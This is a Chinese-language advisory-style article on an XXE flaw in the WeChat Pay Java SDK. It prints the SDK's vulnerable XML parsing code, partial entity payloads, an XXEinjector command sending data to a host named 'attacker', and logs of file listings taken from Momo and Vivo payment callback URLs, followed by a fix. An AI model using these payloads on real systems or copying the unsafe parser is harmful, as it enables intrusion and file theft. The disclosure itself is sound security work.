微信支付 SDK 驚爆漏洞:黑客可 0 元購買任意商品

微信支付 SDK 驚爆漏洞:黑客可 0 元購買任意商品

微信支付 SDK 驚爆漏洞:黑客可 0 元購買任意商品

微信支付 SDK 驚爆漏洞:黑客可 0 元購買任意商品

微信支付 SDK 驚爆漏洞:黑客可 0 元購買任意商品

微信支付 SDK 驚爆漏洞:黑客可 0 元購買任意商品

什麼是 XXE 漏洞?

XML 外部實體注入漏洞(XML External Entity Injection,簡稱 XXE),是一種容易被忽視,但危害巨大的漏洞。它可以利用 XML 外部實體加載注入,執行不可預控的代碼,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。

微信支付 SDK 驚爆漏洞:黑客可 0 元購買任意商品

微信支付 SDK 驚爆漏洞:黑客可 0 元購買任意商品

影響範圍

現已有陌陌、Vivo 已經驗證被該漏洞影響。

受影響的版本有 JAVA SDK,WxPayAPI_JAVA_v3。

  • 存在漏洞的 SDK 頁面:https://pay.weixin.qq.com/wiki/doc/api/index.html
  • JAVA SDK:https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip
  • WxPayAPI_JAVA_v3:https://drive.google.com/file/d/1AoxfkxD7Kokl0uqILaqTnGAXSUR1o6ud/view
微信支付 SDK 驚爆漏洞:黑客可 0 元購買任意商品

漏洞詳情

WxPayApi_JAVA_v3.zip 的 README.md 中顯示了更多的細節:

 notify code example: [ String notifyData = "...."; MyConfig config = new MyConfig(); WXPay wxpay = new WXPay(config);//conver to map Map notifyMap = WXPayUtil.xmlToMap(notifyData); if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {//do business logic } else { } ] WXPayUtil source code [ public static Map xmlToMap(String strXML) throwsException { try { Map data = new HashMap(); /*** not disabled xxe *****/ //start parse DocumentBuilderFactory documentBuilderFactory =DocumentBuilderFactory.newInstance(); DocumentBuilder documentBuilder =documentBuilderFactory.newDocumentBuilder(); InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8")); org.w3c.dom.Document doc = documentBuilder.parse(stream); //end parse doc.getDocumentElement().normalize(); NodeList nodeList = doc.getDocumentElement().getChildNodes(); for (int idx = 0; idx < nodeList.getLength(); ++idx) { Node node = nodeList.item(idx); if (node.getNodeType() == Node.ELEMENT_NODE) { org.w3c.dom.Element element = (org.w3c.dom.Element) node; data.put(element.getNodeName(), element.getTextContent()); } } try { stream.close(); } catch (Exception ex) { // do nothing } return data; } catch (Exception ex) { WXPayUtil.getLogger().warn("Invalid XML, can not convert tomap. Error message: {}. XML content: {}", ex.getMessage(), strXML); throw ex; } }]

發佈有效的商家通知 URL:

   %xxe;]>

data.dtd:

">%shell;%upload;

或使用 XXEinjector 工具:https://github.com/enjoiz/XXEinjector 以檢測:

ruby XXEinjector.rb --host=attacker --path=/etc --file=req.txt --sslreq.txt :POST merchant_notification_url HTTP/1.1Host: merchant_notification_url_hostUser-Agent: curl/7.43.0Accept: */*Content-Length: 57Content-Type: application/x-www-form-urlencodedXXEINJECT

陌陌案例:

 attack: notify url: https://pay.immomo.com/weixin/notify cmd: /home/ result: *** logs zhang.jiax** zhang.shaol** zhang.xia** **** attack: notify url: https://pay.immomo.com/weixin/notify cmd: /home/logs result: *** moa-service momotrace ****

Vivo 案例:

 attack: notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo cmd: /home/ result: tomcat attack: notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo cmd: /home/tomcat result: .bash_logout.bash_profile.bashrclogs attack: notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo cmd: /home/tomcat/logs result: **** tomcat-2018-06-28.log tomcat-2018-06-29.log tomcat-2018-06-30.log *****
微信支付 SDK 驚爆漏洞:黑客可 0 元購買任意商品

修復建議

用戶可使用開發語言提供的禁用外部實體的方法。Java 禁用外部實體的代碼如下:

DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
微信支付 SDK 驚爆漏洞:黑客可 0 元購買任意商品

寫在最後

參考:

  • http://seclists.org/fulldisclosure/2018/Jul/3

徵稿啦!


分享到:


相關文章: